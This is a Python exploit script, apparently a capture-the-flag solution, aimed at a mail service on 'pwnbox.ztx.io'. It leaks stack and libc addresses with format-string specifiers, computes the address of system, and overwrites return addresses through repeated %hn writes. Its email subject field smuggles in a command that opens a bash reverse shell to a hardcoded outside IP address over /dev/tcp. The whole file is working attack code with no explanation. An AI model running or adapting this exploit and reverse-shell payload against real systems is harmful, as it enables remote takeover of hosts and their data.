#!/usr/bin/env python2
#-*- coding:utf-8 -*-

import os, sys, socket
from zio import *

host = '127.1'
host = 'pwnbox.ztx.io'

if len(sys.argv) >= 2:
    host = sys.argv[1]

io = zio((host, 2337), timeout = 10000)

rev_shell = ';echo "/bin/bash >/dev/tcp/166.111.132.155/1234 0<&1"|/bin/bash'

io.read_until('Exit')
io.writeline('1')
io.read_until('To: ')
io.writeline('recver')
io.read_until('Subject: ')
io.writeline(rev_shell)
io.read_until('Body')
io.writeline('%15$llx,%21$llx,%34$llx')      # rbp0, rbp1, libc_start_main + 245

io.read_until('Exit')
io.writeline('3')
io.read_until('Subject: ')
io.writeline('1')

io.read_until('Subject:')
io.readline()

rbp0, rbp1, libc_start_main_245 = map(lambda x:int(x, 16), io.readline().strip().split(','))

libc_base = libc_start_main_245 - 245 - 0x21a10
libc_system = libc_base + 0x417d0

log('rbp0 = %x, rbp1 = %x, libc_base = %x' % (rbp0, rbp1, libc_base), 'red')

def modify_addr(fmt, mail = 2, delete = True):
    io.read_until('Exit')
    io.writeline('1')
    io.read_until('To: ')
    io.writeline('recver')
    io.read_until('Subject: ')
    io.writeline(rev_shell)
    io.read_until('Body')
    io.writeline(fmt)

    io.read_until('Exit')
    io.writeline('3')
    io.read_until('[' + str(mail) + ']')
    io.writeline(str(mail))

    if delete:
        io.read_until('Exit')
        io.writeline('4')
        io.read_until('[2]')
        io.writeline('2')

modify_addr("%09056d%21$hn")
modify_addr("%0" + str(((rbp1 & 0xff) + 2) & 0xff)  + "d%15$hhn")
modify_addr("%096d%21$hn")
modify_addr("%0" + str(((rbp1 & 0xff) + 4) & 0xff)  + "d%15$hhn")
modify_addr("%21$hn")
modify_addr("%0" + str(libc_system & 0xffff) + "d%27$hn", delete = False)
modify_addr("%0" + str(rbp1 & 0xff) + "d%15$hhn", mail = 3, delete = False)
modify_addr("%09058d%21$hn", mail = 4, delete = False)
modify_addr("%0" + str((libc_system >> 16) & 0xffff) + "d%27$hn", mail = 5, delete = False)

io.read_until('Exit')
io.writeline('4')
io.interact()

